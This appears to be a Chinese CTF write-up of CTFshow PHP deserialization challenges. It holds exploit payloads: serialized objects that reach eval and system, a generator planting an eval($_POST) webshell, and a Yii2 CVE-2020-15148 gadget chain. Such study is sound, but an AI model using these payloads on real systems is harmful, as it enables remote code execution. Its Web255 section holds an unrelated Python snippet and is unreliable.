CTFshow之web入门反序列化

2024-02-28 20:24:17 浏览数 (2)

[TOC]

PHP反序列化实际上已经开始是Web安全的进阶操作了,虽然在这个时代Web选手上分极其困难,PHP反序列化已经成为了基础…..

学这一块还是推荐多看博客和菜鸟教程对PHP魔术方法的介绍,这里推荐一个PHP反序列化这一篇就够了

Web254

这个题为什么会出现在反序列化里面?直接出username=xxxxxx&password=xxxxxx

Web255

代码语言:javascript复制
def an1_anbdj(self,event):
    if (self.url ==""):
        toastone = wx.MessageDialog(None, "网站地址不能为空!", "错误信息提示", wx.YES_DEFAULT | wx.ICON_QUESTION)
        if toastone.ShowModal() == wx.ID_YES:
            # 如果点击了提示框的确定按钮
            toastone.Destroy()
            # 则关闭提示框
    # print(self.url)
    else:
        match=re.search('(https?|ftp|file)://[-A-Za-z0-9 &@#/%?=~_|!:,.;] [-A-Za-z0-9 &@#/%=~_|]', self.url)
        if match:
            download(self.url)

Web256

代码语言:javascript复制
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

逻辑很清晰,只比上一题多了this->username!==

代码语言:javascript复制
<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='a';
    public $isVip=true;
}
//url编码防止忽略不可见字符
echo(urlencode(serialize(new ctfShowUser())));

Web257

代码语言:javascript复制
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

这一题的解法还挺多的,主要是利用__construct()函数

Web258

这一题目只有比上一问多过滤了一段过滤

代码语言:javascript复制
if(isset($username) && isset($password)){
  if(!preg_match('/[oc]:d :/i', $_COOKIE['user'])){
    $user = unserialize($_COOKIE['user']);
  }
  $user->login($username,$password);
}
代码语言:javascript复制
O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:25:"system("tac ./flag.php");";}}

Web259

暂时还没出……..

Web260

这个难道不是把那个36D杯的题目直接搬来了?

代码语言:javascript复制
?ctfshow=ctfshow_i_love_36D

Web261

unserialize() 函数用于将通过serialize()函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

题目源码:

代码语言:javascript复制
<?php
highlight_file(__FILE__);
class ctfshowvip{
    public $username;
    public $password;
    public $code;
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }
    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}
unserialize($_GET['vip']); 

$this->code==0x36d是这里考察的是PHP弱类型比较,0x36d没有引号代表数字,十六进制0x36d转为十进制是877,因为弱比较,实际上877.php这样一样可以通过判断。

同时file_put_contents()函数,这也给我们传一句话木马的机会,这里我就不多解释,直接看菜鸟教程吧

另外如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

我们就可以这样构造

代码语言:javascript复制
<?php
class ctfshowvip{
    public $username;
    public $password;
    public $code;
    public function __construct($u='',$p=''){
        $this->username='877.php';
        $this->password='<?php eval($_POST[a]);?>';
    }
}
echo urlencode(serialize(new ctfshowvip));
?>

看下877.php有没有成功传入,发现成功传入后直接操纵一句话木马得到flag。

代码语言:javascript复制
a=system("cat /f*")

Web262

str_replace(‘fuck’, ‘loveU’, serialize($msg)) 因为前后用于替换的文本长度不一致导致的字符串逃逸漏洞

注释里有一个 @message.php这玩意

代码语言:javascript复制
if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

题目源码:

代码语言:javascript复制
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}
highlight_file(__FILE__);

将需要逃逸的内容构造一下:

代码语言:javascript复制
<?php
class message{
    public $token=admin;
}
echo serialize(new message());

O:7:”message”:1:{s:5:”token”;s:5:”admin”;}这一串,实际上我们需要传进去的只有 s:5:”token”;s:5:”admin”; 加上闭合";s:5:"token";s:5:"admin";}一共27个字符,每次替换增加一个字符,需要27个fuck吃掉构造函数的$token='user';

之后在访问message.php,即可

Web264

Web267

从这道题之后的内容考察的是Yii的框架漏洞,**Yii2 反序列化漏洞(CVE-2020-15148)**, Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。

关于这个漏洞可以看这个文章Yii2 反序列化漏洞(CVE-2020-15148)复现

代码语言:javascript复制
<?php
namespace yiirest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}
namespace Faker{
    use yiirestCreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
namespace yiidb{
    use FakerGenerator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yiidbBatchQueryResult));
}
?>

这里直接借用大佬博客上的脚本,可以看到PHPinfo

Web271

0 人点赞